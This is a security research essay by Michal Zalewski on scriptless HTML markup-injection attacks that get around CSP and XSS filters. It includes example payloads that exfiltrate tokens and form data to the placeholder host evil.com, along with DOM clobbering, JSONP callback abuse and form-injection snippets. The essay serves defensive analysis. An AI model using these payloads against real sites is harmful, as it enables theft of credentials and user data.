Postcards from the post-XSS world

Michal Zalewski, <lcamtuf@coredump.cx>

1. Introduction

HTML markup injection vulnerabilities are one of the most significant and pervasive threats to the security of web applications. They arise whenever, in the process of generating HTML documents, the underlying code inserts attacker-controlled variables into the output stream without properly screening them for syntax control characters. Such a mistake allows the party controlling the offending input to alter the structure - and thus the meaning - of the produced document.

In practical settings, markup injection vulnerabilities are almost always leveraged to execute attacker-supplied JavaScript code in the client-side browsing context associated with the vulnerable application. The term *cross-site scripting*, a common name for this class of flaws, reflects the prevalence of this approach.

The JavaScript language is popular with attackers because of its versatility, and the ease with which it may be employed to exfiltrate arbitrarily chosen data, alter the appearance of the targeted website, or to perform server-side state changes on behalf of the authenticated user. Consequently, most of the ongoing browser-level efforts to improve the security of web applications focus on the containment of attacker-originating scripts. The most notable example of this trend is undoubtedly the Content Security Policy, a mechanism that removes the ability to inline JavaScript code in a protected HTML document, and maintains a whitelist of permissible sources for any externally-loaded scripts. Several related approaches, such as the NoScript add-on, the built-in XSS filters in Internet Explorer and Chrome, client-side APIs such as *toStaticHTML(...)*, or the HTML sanitizers built into server-side frameworks, also deserve a note.

This page is a rough collection of notes on some of the fundamental alternatives to direct script injection that would be available to attackers following the universal deployment of CSP or other security mechanisms designed to prevent the execution of unauthorized scripts. I hope to demonstrate that in many cases, the capabilities offered by these alternative methods are highly compatible with the goals of contemporary XSS attacks.

Acknowledgments: *This brief brain dump is directly inspired by the ongoing work of Elie Bursztein and Mario Heiderich, who are working on a more systematic and thorough assessment of XSS prevention frameworks; and independently, by the remarks made by Devdatta Akhawe, Collin Jackson, Eduardo Vela Nava, and other members of the security community. The attack strategies presented here are based on my own findings, unless noted otherwise.*

2. Content exfiltration

One of the most rudimentary goals of a successful XSS attack is the extraction of user-specific secrets from the vulnerable application. Historically, XSS exploits sought to obtain HTTP cookies associated with the authenticated user session; these tokens - a form of ambient authority - could be later replayed by the attacker to remotely impersonate the victim within the targeted site. The introduction of *httponly* cookies greatly limited this possibility - and prompted rogue parties to pursue finer-grained approaches.

In an application where theft of HTTP cookies is not practical, exfiltration attempts are usually geared toward the extraction of any of the following:

1. **Personal data.** In applications such as webmail systems, discussion or messaging platforms, social networks, or shopping or banking sites, the information about the user may be of immense value on its own merit. The extraction of contact lists, messaging history, or transaction records, may be the ultimate goal of an attack.
2. **Tokens used to defend against *cross-site request forgery* attacks.** Under normal circumstances, any website loaded in the victim's browser is free to blindly initiate cross-domain requests to any destination. Because such a request is automatically supplanted with user's ambient credentials, it is difficult to distinguish it from a request that arises in response to a legitimate user action. To prevent malicious interference, most websites append session-specific, unpredictable secrets - *XSRF tokens* - to all GET URLs or POST request bodies that change the state of user account or perform other disruptive tasks.

   The tokens are an attractive target for exfiltration, because their possession enables the attacker to bypass the defense, and construct valid-looking state changing requests that can be relayed through the victim's browser later on. Such requests may, for example, instruct the application to add an attacker-controlled persona as a privileged contact or a delegate for the victim.

3. **Capability-bearing URLs.** Many modern web applications make occasional use of capability-bearing URLs; this is particularly common for constructing invitation and sharing links; offering downloads of private data; implementing *single sign-on* flows (SSO); or performing federated login. The ability for the attacker to obtain these URLs is equivalent to gaining access to the protected resource or functionality; especially in the case of authentication flows, that token may be equivalent to HTTP cookies.

In this section, I'd like to present several exfiltration strategies that enable attackers to extract these types of data without the need to execute JavaScript.

2.1. Dangling markup injection

Perhaps the least complicated extraction technique employs the injection of non-terminated markup. This action prompts the receiving parser to consume a significant portion of the subsequent HTML syntax, until the expected terminating sequence is encountered.

To illustrate this attack, consider the following example of a markup injection vector:

```
<img src='http://evil.com/log.cgi?                       ← Injected line with a non-terminated parameter
...
<input type="hidden" name="xsrf_token" value="12345">
...
'                                                        ← Normally-occurring apostrophe in page text
...
</div>                                                   ← Any normally-occurring tag (to provide a closing bracl
```

Any markup between the opening single quote of the *src* parameter and the next occurrence of a matching quote will be treated as a part of the image URL. Consequently, the browser will issue a request to retrieve the image from the specified location - thereby disclosing the secret value to an attacker-controlled destination:

```
http://evil.com/log.cgi?...<input type="hidden" name="xsrf_token" value="12345">...
```

Note that in some deployments of CSP, the destination URLs for *<img>* tags may be restricted for non-security reasons; in these cases, the attacker is free to leverage several other tags, including *<meta http-equiv="Refresh" ...>* - honored anywhere in the document in all popular browsers, and not subject to policy controls.

In either case, the attacker may choose the parameter quoting scheme to counter the prevalent syntax used on the targeted page; single and double quoted are recognized by all browsers, and in Internet Explorer, backtick (`) is also a recognized option. In most browsers, the HTML parser must encounter a matching quote and a greater-than character before the end of the document; otherwise, the malformed tag will be ignored. This is not true for all HTML parsers, however: Opera and older versions of Firefox will close the tag implicitly.

To succeed, the attack also requires the injection point to appear before the secret to be extracted. If governed by pure chance, this condition will be met in 50% of all cases. In practice, the odds will often be higher: It is not uncommon for a vulnerable website to embed several copies of the same secret, or several instances of an improperly escaped parameter, on a single page.

2.2. <textarea>-based consumption

The dangling markup vector discussed in section 2.1 is to some extent dependent on the layout of the vulnerable page; in absence of a matching quote character, or in presence of mixed-style quoting in the legitimately present markup, the attack may be difficult to carry out. These constraints are removed by leveraging the CDATA-like behavior of the *<textarea>* tag, however.

The possibility is illustrated by the following snippet:

```
<form action='http://evil.com/log.cgi'><textarea>        ← Injected line
...
<input type="hidden" name="xsrf_token" value="12345">
...
(EOF)
```

In this case, all browsers will implicitly close the *<textarea>* and *<form>* blocks.

The weakness of this approach is that in contrast to the previous method, a degree of user interaction is needed to exfiltrate the data: The victim must submit the form by pressing ENTER or clicking the submit button. This interaction is easy to facilitate by giving the submit button a misleading appearance - for example, as a faux notification or an interstitial to be dismissed, or even a transparent overlay that spans the entire browser window. That goal can be typically achieved by leveraging existing CSS classes in the application, or other methods discussed later in this document (section 3.3).

It is also worth noting that forms with auto-submit capabilities are being considered for HTML5;

such a feature may unintentionally assist with the automation of this attack in future browsers.

Attribution: *The idea for <textarea>-based markup consumption comes from an upcoming paper on data exfiltration by Eric Y. Chen, Sergey Gorbaty, Astha Singhal, and Collin Jackson. According to Gareth Heyes, it might have been discussed previously, too. Gareth additionally points out similar consumption vectors via <button> and <option>.*

2.3. Rerouting of existing forms

Another exfiltration opportunity is afforded by a peculiar property of HTML: The *<form>* tag can't be nested, and the top-level occurrence of this markup always takes precedence over subsequent appearances. This allows the attacker to change the URL to which any existing form will be submitted, simply by injecting an additional form definition in the preceding portion of the document:

```
<form action='http://evil.com/log.cgi'>                     ← Injected line
...
<form action='update_profile.php'>                          ← Legitimate, pre-existing form
...
<input type="text" name="real_name" value="John Q. Public">
...
</form>
```

This attack is particularly interesting when used to target forms automatically populated with user-specific secrets - as would be the case with any forms used to update profile information, shipping or billing address, or other contact data; form-based XSRF tokens are also a possible target.

2.4. Use of <base> to hijack relative URLs

The next exfiltration vector worth highlighting relies on the injection of <base> tags. A majority of web browsers honor this tag outside the standards-mandated <head> section; in such a case, the attacker injecting this markup would be able to change the semantics of all subsequently appearing relative URLs, e.g.:

```
<base href='http://evil.com/'>                              ← Injected line
...
<form action='update_profile.php'>                          ← Legitimate, pre-existing form
...
<input type="text" name="real_name" value="John Q. Public">
...
</form>
```

Here, any user-initiated profile update will be submitted to *http://evil.com/update_profile.php*, rather than back to the originating server that produced the HTML document.

2.5. Form injection to intercept browser-managed passwords

In-browser password managers are a popular tool for simplifying account management across multiple websites. They operate by detecting HTML forms that include a password field, and offering the user to save the entered credentials in a browser-operated password jar. The stored passwords are then automatically inserted into any plausibly-looking forms encountered within a matching origin. In Chrome and Firefox, this autocompletion requires no user interaction; in Internet Explorer and Opera, an additional gesture may be required.

The attacker may obtain stored passwords by leveraging a markup injection vulnerability to present the browser with a well-structured password form. In absence of the ability to execute scripts, the next step is browser- and application-specific:

1. In browsers such as Chrome and Opera, the actual URL to which the form submits (the *action* parameter) may be selected arbitrarily and may point to an attacker-controlled server. This offers a very straightforward exfiltration opportunity.
2. In most other browsers, it is possible to present a form that specifies GET instead of POST as the submission mode (the *method* parameter), and submit the credentials to a carefully selected same-site destination. That destination may be a page that links to or includes subresources from third-party sites (thus leaking the credentials in the *Referer* header); or a page that echoes back query parameters in the response body, and is vulnerable to any of the previously discussed exfiltration methods.

2.6. Addendum: The limits of exfiltration defenses

It is tempting to counter the vectors previously outlined in the document by simply preventing the attacker from contacting third-party servers; for example, one may wish to restrict the set of permissible destinations for markup such as *<form>*, *<a href=...>*, or *<img>*. Indeed, several academic anti-exfiltration frameworks have been proposed in the past, either as a sole defense against the consequences of cross-site scripting, or to be used in tandem with script execution countermeasures. It appears that some desire to prevent exfiltration influenced the original proposals for CSP, too.

It must be noted, however, that any attempts to prevent exfiltration, even in script-less environments, are very unlikely to be successful. Browsers offer extensive indirect data disclosure opportunities through channels such as the *Referer* technique outlined in 2.5; through the *window.name* parameter that persists across origins (and policy scopes) on newly created views; and through a variety of DOM inspection and renderer and cache timing vectors that may be used by third-party documents to make surprisingly fine-grained observations about the structure of the policed page.

It is also important to recognize that exfiltration attempts do not have to be geared toward relaying the data to a third-party website to begin with: In many settings, it is sufficient to move the data from private and into public view, all within the scope of a single website. A simple illustration of this attack on an e-commerce site may be:

```
<form action='/post_review.php'>
<input type='hidden' name='review_body' value="           ← Injected lines

...
Your current shipping address:                             ← Existing page text to be exfiltrated
  123 Evergreen Terrace
  Springfield, USA
...

<form action="/update_address.php">                        ← Existing form (ignored by the parser)
...
<input type="hidden" name="xsrf_token" value="12345">      ← Token valid for /update_address.php and /post_review.
...
</form>
```

This form, if interacted with, will unexpectedly submit the victim's home address as the body of a publicly visible product review, where the attacker may be able to intercept it before the user notices the problem and reacts.

Attribution: *The second technique presented above is inspired by an upcoming paper on data exfiltration by Eric Y. Chen, Sergey Gorbaty, Astha Singhal, and Collin Jackson.*

3. Infiltration of application logic

Data exfiltration is one of the important goals in the exploitation of XSS vulnerabilities, but is not the only one. In some settings, the attacker may be more interested in actively disrupting the state of the targeted application; these attacks typically seek one or more of the following outcomes:

1. **Alteration or destruction of legitimate content.** Most attackers will seek to immediately replace victim-owned documents with misleading or disparaging content, to distribute offensive messages, or to simply destroy valuable data.
2. **Delegation of account access.** Such attacks seek to gain longer-term access to the capabilities offered by the targeted site - such as read-only or read-write access to victim's private data. On a content publishing platform, this may involve adding an attacker-controlled persona as a secondary administrator of the victim-owned channel, or as a collaborator on a particular document; in a webmail system, the attack may focus on creating a mail forwarding rule to siphon off all the incoming mail; and on a social networking site, the goal may be to add the attacker as a trusted contact ("friend").
3. **Use of special privileges.** In select cases, attackers may wish to abuse additional privileges bestowed upon the vulnerable origin by the browser itself (e.g., the ability to change critical settings, install extensions or updates); or the trust the user associates with the targeted site (perhaps expressed as the willingness to accept unsolicited downloads).
4. **Propagation of attacker-supplied markup.** Certain attacks seek to create autonomously propagating worms that spread between the users of a site by leveraging site-specific messaging and content sharing mechanisms. The creation of a worm may be an accomplishment in itself, or a way for maximizing the efficiency of any other attack.

This section showcases techniques that may be used to further these goals in absence of the ability to inject attacker-supplied code.

3.1. Interference with existing scripts

Contemporary web applications make extensive use of JavaScript to handle the bulk of content presentation and user interface tasks. From the security standpoint, these responsibilities may have seemed insignificant, but this view no longer holds true; for example, in an collaborative document editor, client-side scripts may be tasked with:

- Determining and recording the outcome of user-initiated ACL changes for the document ("sharing dialogs"),
- Sanitizing or escaping server-supplied strings to make them safe for display,
- Keeping track and synchronizing the contents of the edited file.

By analogy to conceptually similar but better-studied race condition or off-by-one vulnerabilities in non-browser applications, it can be expected that the ability to put the execution environment in an inconsistent and unexpected state will not merely render the program inoperative - but will routinely lead to outcomes desirable to the attacker.

3.1.1. HTML namespace attacks

One of the most straightforward state corruption vectors is based on *id* or *name* collisions between attacker-injected markup and legitimate contents of the page. The impact of such a collision is easy to illustrate using the example of a script-generated dialog, where the initial state of a configurable setting is captured using an editable control (typically *<input>*), and then read back through *document.getElementById(...)* and sent to the server:

```
<input type='checkbox' id='is_public' checked>              ← Injected markup

...

// Legitimate application code follows

function render_acl_dialog() {
  ...
  if (shared_publicly)
    dialog.innerHTML += '<input type="checkbox" id="is_public" checked>';
  else
    dialog.innerHTML += '<input type="checkbox" id="is_public">';
  ...
}

function acl_dialog_done() {
  ...
  if (document.getElementById('is_public').checked)         ← Condition true regardless of user choice
    request.access_mode = AM_PUBLIC;
  ...
}
```

An even simpler example against a statically constructed dialog may be carried as follows:

```
<input type='hidden' id='share_with' value='fredmbogo'>     ← Injected markup
...
Share this status update with:                              ← Legitimate optional element of a dialog
<input id='share_with' value=''>

...

function submit_status_update() {
  ...
  request.share_with = document.getElementById('share_with').value;
  ...
}
```

In both cases, the browser will allow the page to have several DOM elements with the same *id* parameter, but only the first, attacker-controlled value will be returned on *getElementById(...)* lookups. The initial state of the configurable setting will be stored in one tag, but the attempt to read back the value later on will interact with another.

The degree of user interaction required for this attack to succeed is application-specific, and may vary from zero to multiple clicks. The article proposes a method for making the user unwittingly interact with UI controls in section 3.3.

3.1.2. Script namespace attacks

The namespace attack discussed in the previous section may be also leveraged to directly interfere with the JavaScript execution environment, without relying on other HTML elements as a proxy. This is because of a little-known link between the markup and the script namespace: In all popular browsers, the identifiers attached to HTML tags are automatically registered in the JavaScript context associated with the page. This registration happens on two levels:

1. For any type of a tag, a new node with a name matching the *id* parameter of the tag is inserted into the default object scope. In other words, *<div id=test>* will create a global variable *test* (of type *HTMLDivElement*), pointing to the DOM object associated with the tag.

   In this scenario, the mapping has a lower priority than any built-ins or variables previously created by on-page scripts. The behavior of identically named variables created later on is browser-specific.

2. For several special tags, such as *<img>*, *<iframe>*, or *<embed>*, an entry for both the *id* and the

name is additionally inserted into the *document* object. For example, *<img name=test>* will produce a node named *document.test*.

This mapping has a higher priority than built-ins and script-created variables.

An attacker capable of injecting passive markup may leverage this property in a manner illustrated in this code snippet:

```
<img id='is_public'>                                      ← Injected markup

...

// Legitimate application code follows

function retrieve_acls() {
  ...
  if (response.access_mode == AM_PUBLIC)                  ← The subsequent assignment fails in IE
    is_public = true;
  else
    is_public = false;
}

function submit_new_acls() {
  ...
  if (is_public) request.access_mode = AM_PUBLIC;         ← Condition always evaluates to true
  ...
}
```

The consequences of this namespace pollution are made worse because the DOM objects associated with certain HTML elements have specialized methods for converting them to strings; this enables the attacker to attack not only simple Boolean conditions, but also to spoof numbers and strings:

```
<a id='owner_user' href='fredmbogo'>                      ← Injected markup
<img id='data_loaded''>

...

// Legitimate application code follows

function retrieve_data() {
  if (window.data_loaded) return;                         ← Condition met in browsers other than Firefox
  ...
  owner_user = response.owner;
  data_loaded = true;
}

function submit_new_acls() {
  ...
  request.can_edit = owner_user + ...;                    ← The string 'fredmbogo' is inserted
  request.can_read = owner_user + ...;
  ...
}
```

Several other exploitation venues appear to exist, but will be more closely tied to the design of the targeted application. It is, for example, possible to shadow built-ins such as *document.domain*, *document.cookie*, *document.location*, or *document.referrer* in order to interfere with certain security decisions; it is also trivial to disrupt the operation of methods such as *document.createElement()* or *document.open()*; fabricate the availability of the *window.postMessage(...)*, *window.crypto*, or other security APIs; and more.

3.1.3. Script load order issues (CSP-specific)

Script policing frameworks must necessarily seek compromise between the ease of deployment and the granularity of the offered security controls. In the case of Content Security Policy, this compromise may unexpectedly undermine the assurances offered to many real-world web apps.

The key issue is that for the sake of simplicity, CSP relies on origin-level granularity: It is possible to control permissible script sources on a protocol, host, and port level, but not to specify individual script URLs - or the order they need to be loaded in. This design decision enables the attacker to load arbitrary scripts found anywhere on the site in an unexpected context, in an incorrect order, or an unplanned number of times.

One trivial but plausible example where this capability may be used to put the application in an inconsistent state is illustrated below:

```
<script src='initialize.js'></script>:          ← Legitimate scripts
  var edited_text = '';

<script src='load_document.js'></script>:
  edited_text = server_response.text;
  ...
  setInterval(autosave_to_server, 10000);
```

```
<script src='initialize.js'></script>:         ← Injected script load
  var edited_text = '';
```

The possibility of loading scripts that use similar variable or function names, but belong to logically separate views, is perhaps more unsettling and more difficult to audit for; consider the following snippet of code:

```
<script src='/admin/initialize.js'></script>:   ← Injected script load
  ...
  initialized = true;

<script src='/editor/editor.js'></script>:      ← Legitimate scripts
  ...

  function load_data() {
    if (initialized) return;
    ...
    if (new_document) {
      acl_read_users  = current_username;
      acl_write_users = current_username;
      ...
    }
    ...
    initialized = true;
  }

  ...

  function save_acls() {
    ...
    request.acl_read_users = acl_read_users;    ← Submits user 'undefined' as a collaborator.
    request.acl_write_users = acl_write_users;
    ...
  }
```

On any moderately complex website, it appears to be prohibitively difficult to account for all the possible interactions between hundreds of unrelated scripts. Further, it appears unlikely that webmasters would routinely appreciate the consequences of hosting nominally unused portions of JavaScript libraries, older versions of currently loaded scripts, or portions of JS used for testing or diagnostic purposes, anywhere within their WWW root.

3.1.4. Abuse of JSONP (CSP-specific)

JSONP (*JSON with padding*) is a popular method for building JavaScript APIs. JSONP interfaces are frequently used to integrate with services provided by trusted third-party sites (e.g., to implement search or mapping capabilities), as well as to retrieve private first-party data (in this case, an additional *Referer* check or an XSRF token is commonly used).

Regardless of the purpose, the integration with any JSONP API is achieved by including a script reference similar to this:

```
<script src="http://example.com/find_store.php?zipcode=90210&callback=parse_response"></script>
```

In response, the server dynamically generates a script structured roughly the following way:

```
parse_response({ 'zipcode': '90210', 'results': [ '123 Evergreen Terrace', ... ]});
```

The inclusion of this response as a script results in the invocation of a client-specified callback - *parse_response(...)* - in the context of the calling page.

Any CSP-enabled website that either offers JSONP feeds to others, or utilizes them internally, is automatically prone to a flavor of *return-oriented programming*: the attacker is able to invoke any functions of his choice, often with at least partly controllable parameters, by specifying them as the callback parameter on the API call:

```
<script src='/editor/sharing.js'>:              ← Legitimate script
  function set_sharing(public) {
    if (public) request.access_mode = AM_PUBLIC;
      else request.access_mode = AM_PRIVATE;
    ...
  }

<script src='/search?q=a&call=set_sharing'>:    ← Injected JSONP call
  set_sharing({ ... })
```

In addition, any JSONP interface that does not filter out parentheses or other syntax elements in the name of the callback function - a practice that has no special security consequences under normal operating conditions - will be vulnerable to an even more straightforward attack:

```
<script src='/search?q=a&call=alert(1)'></script>
```

3.1.5. Selective removal of scripts (specific to XSS filters)

The last script-related vector that deserves a brief mention in this document is associated with the use of reflected cross-site scripting filters. XSS filters are a security feature designed to selectively remove suspected XSS exploitation attempts from the rendered HTML. They do so by looking for scripting-capable markup that appears to correspond to a potentially attacker-controlled parameter present in the underlying HTTP request. For example, if a request for */search?q=<script>alert(1)</script>* returns a page containing *<script>alert(1)</script>* in its markup, that snippet of HTML will be removed by the filter to stop possible exploitation of an XSS flaw.

Because of the fully passive design of the detection stage, cross-site scripting filters have the unfortunate property of being prone to attacker-triggered false positives: By quoting a snippet of a legitimate script present on the page, the XSS filter may be duped into removing this block of code, while permitting any remaining <script> segments or inline event handlers to execute. This behavior has the potential to place the targeted application in an inconsistent state, which may be exploitable in a manner similar to the attacks outlined in section 3.1.3.

3.2. Form parameter injection

The JavaScript-centric exploitation strategies discussed previously are an attractive target for attackers, but even in absence of complex scripts, markup injection may be leveraged to alter the state of the application. The disruption of HTML forms is one of the examples of a method independent of any client-side JavaScript: By injecting additional *<input type='hidden'>* fields in the vicinity of an existing state-changing form, the attacker may trivially change the way the server interprets the intent behind the eventual submission, e.g.:

```
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
  value='fredmbogo'>                                  ← Injected lines

<form action="/change_settings.php">                  ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value="">       ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```

A vast majority of web frameworks will only interpret the first occurrence of *invite_user* in the submitted form, and will add the account of attacker's choice as a collaborator.

Further, because a significant number of frameworks also use XSRF tokens that are not scoped to individual forms, the attack proposed in section 2.6. may be combined with this approach in order to reuse an existing token and submit data to an unrelated state-changing form:

```
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
  value='fredmbogo'>                                  ← Injected lines

<form action="/update_status.php">                    ← Existing form (ignored by the parser)
...
<input type="text" name="message" value="">           ← Existing field (ignored by /change_settings.php)
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
```

3.3. UI-level attacks

It should be apparent that the ability to inject passive markup is often sufficient to disrupt the underlying logic of the targeted application. The other important and frequently overlooked aspect of the security of any web application is the integrity of its user interface.

In analyzing the impact of markup injection vulnerabilities, we must consider the possibility that the attacker will use stylesheets, perhaps combined with legacy HTML positioning directives, to overlay own content on top of legitimate UI controls and alter their apparent purpose, without affecting the scripted behaviors associated with user actions. For example, it may be possible to skin a document sharing dialog as a harmless and friendly notification, without changing the underlying semantics of the "OK" button displayed therein.

Although the most recent specification of CSP disallows inline stylesheets to protect against an unrelated weakness, the attacker is still free to load any other standalone stylesheet found within any of the whitelisted origins, and reuse any of the offered classes normally used to construct the legitimate UI; therefore, such an attack is very likely to be feasible.

Another area of concern is that the occurrence of a click or other simple UI action is not necessarily indicative of informed consent. The attacker may trick the user into unwittingly interacting with the targeted application by predicting the timing of a premeditated click, and rapidly transitioning between two documents or two simultaneously open windows; this problem is one of the unsolved challenges in browser engineering, and is discussed in more detail on [this page](#).

The context-switching attack may be used separately, or may be leveraged in conjunction with any of the exfiltration or state change techniques discussed here to work around the normally required degree of interaction with the vulnerable page.

3.4. Abuse of special privileges

In addition to the attacks on application logic and the apparent function of UI controls, markup injection vulnerabilities may be leveraged to initiate certain privileged actions in a way that bypasses normal security restrictions placed on untrusted sites. These attacks are of less interest from the technical perspective, but are of significant practical concern.

Examples of privilege-based attacks that may be delivered over passive HTML markup include:

1. Updating OpenSearch registrations associated with the site to subvert the search integration capabilities integrated into the browser.
2. Initiating the download and installation of extensions, themes, or updates (if the compromised origin is recognized as privileged by one of the mechanisms built into the browser).
3. Instantiating site-locked plugins or ActiveX extensions with attacker-controlled parameters.
4. Starting file downloads or providing misleading and dangerous advice to the user; the user is trained to make trust decisions based on the indicators provided in the address bar, so this offers a qualitative difference in comparison to traditional phishing.

4. Practical limitations of XSS defenses

The exfiltration and infiltration methods discussed in this document were chosen by their proximity to the attack outcomes that script containment frameworks hope to prevent, and to the technological domains they operate in. I also shied away from including a detailed discussion of transient and easily correctable glitches in the scope or operation of these mechanisms.

A more holistic assessment of these frameworks must recognize, however, that their application is limited to HTML documents, and even more specifically, to documents that are expected ahead of the time to be displayed by the browser as HTML. The existing frameworks have no control over any subresources that may be interpreted by specialized XML parsers or routed to plugins; in that last case, the hosting party has very little control over the process, too.

Another practical consideration is that despite being envisioned by security experts, the complexity of interactions with various browser features requires the frameworks to be constantly revised to account for a number of significant loopholes. Some of the notable issues in the relatively short life of CSP included the ability to spoof scripts by pointing *<script>* tags to non-script documents with partly attacker-controlled contents (originally fixed with strict MIME type matching); the ability to use CSS3 complex selectors to exfiltrate data (addressed by disallowing inline stylesheets); or the ability to leverage accessibility features to implement rudimentary keylogging. This list will probably grow.

5. Conclusion

There is no doubt that the recently proposed security measures offer a clear quantitative benefit by rendering the exploitation of markup vulnerabilities more difficult, and dependent on a greater number of application-specific prerequisites.

At the same time, I hope to have demonstrated that web applications protected by frameworks such as CSP are still likely to suffer significant security consequences in case of a markup injection flaw. I believe that in many real-world scenarios, the *qualitative* difference offered by the aforementioned mechanisms is substantially less than expected.

It may be useful to compare these measures to the approaches used to mitigate the impact of stack buffer overflows: The use of address space layout randomization, non-executable stack segments, and stack canaries have made exploitation of certain implementation issues more difficult, but reliably prevented it only in a relatively small fraction of cases.

For as long as web documents are routinely produced and exchanged as serialized HTML, markup injection will remain a security threat. To address the problem fully, it may be necessary to adopt an approach where parsed, binary DOM trees can be directly exchanged between the server and the client, and between portions of client-side JavaScript. The performance benefits associated with this design would hopefully encourage client- and server-side frameworks to limit the use of serialized HTML documents in complex web apps.